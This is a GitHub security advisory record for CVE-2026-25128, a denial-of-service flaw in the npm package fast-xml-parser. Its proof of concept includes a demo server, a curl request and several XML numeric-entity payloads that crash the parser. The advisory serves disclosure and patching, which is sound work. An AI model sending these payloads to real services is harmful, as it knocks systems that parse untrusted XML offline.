Publish GHSA-37qj-frw5-hhjh

Author: advisory-database[bot]

advisories/github-reviewed/2026/01/GHSA-37qj-frw5-hhjh/GHSA-37qj-frw5-hhjh.json

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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-37qj-frw5-hhjh",
+  "modified": "2026-01-30T20:10:14Z",
+  "published": "2026-01-30T20:10:14Z",
+  "aliases": [
+    "CVE-2026-25128"
+  ],
+  "summary": "fast-xml-parser has RangeError DoS Numeric Entities Bug",
+  "details": "### Summary\nA RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `&#9999999;` or `&#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.\n\n### Details\nThe vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:\n\n```javascript\n\"num_dec\": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },\n\"num_hex\": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },\n```\n\nThe `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:\n- `[0-9]{1,7}` matches up to 9,999,999\n- `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)\n\nThe entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:\n\n```javascript\nval = val.replace(entity.regex, entity.val);\n```\n\nThis causes the RangeError to propagate uncaught, crashing the parser and any application using it.\n### PoC\n#### Setup\n\nCreate a directory with these files:\n\n```\npoc/\n├── package.json\n├── server.js\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"fast-xml-parser\": \"^5.3.3\" } }\n```\n\n**server.js**\n```javascript\nconst http = require('http');\nconst { XMLParser } = require('fast-xml-parser');\n\nconst parser = new XMLParser({ processEntities: true, htmlEntities: true });\n\nhttp.createServer((req, res) => {\n  if (req.method === 'POST' && req.url === '/parse') {\n    let body = '';\n    req.on('data', c => body += c);\n    req.on('end', () => {\n      const result = parser.parse(body);  // No try-catch - will crash!\n      res.end(JSON.stringify(result));\n    });\n  } else {\n    res.end('POST /parse with XML body');\n  }\n}).listen(3000, () => console.log('http://localhost:3000'));\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Send malicious payload (server will crash)\ncurl -X POST -H \"Content-Type: application/xml\" -d '<?xml version=\"1.0\"?><root>&#9999999;</root>' http://localhost:3000/parse\n``` \n#### Result\n\nServer crashes with:\n```\nRangeError: Invalid code point 9999999\n```\n\n#### Alternative Payloads\n\n```xml\n<!-- Hex variant -->\n<?xml version=\"1.0\"?><root>&#xFFFFFF;</root>\n\n<!-- In attribute -->\n<?xml version=\"1.0\"?><root attr=\"&#9999999;\"/>\n```\n\n### Impact\n*Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:\n\n- **API servers** accepting XML payloads\n- **File processors** parsing uploaded XML files\n- **Message queues** consuming XML messages\n- **RSS/Atom feed parsers**\n- **SOAP/XML-RPC services**\n\nA single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.",
+  "severity": [
+    {
+      "type": "CVSS_V3",
+      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+    }
+  ],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "npm",
+        "name": "fast-xml-parser"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "4.3.6"
+            },
+            {
+              "fixed": "5.3.4"
+            }
+          ]
+        }
+      ],
+      "database_specific": {
+        "last_known_affected_version_range": "<= 5.3.3"
+      }
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-37qj-frw5-hhjh"
+    },
+    {
+      "type": "ADVISORY",
+      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25128"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
+    },
+    {
+      "type": "WEB",
+      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.4"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-248"
+    ],
+    "severity": "HIGH",
+    "github_reviewed": true,
+    "github_reviewed_at": "2026-01-30T20:10:14Z",
+    "nvd_published_at": "2026-01-30T16:16:14Z"
+  }
+}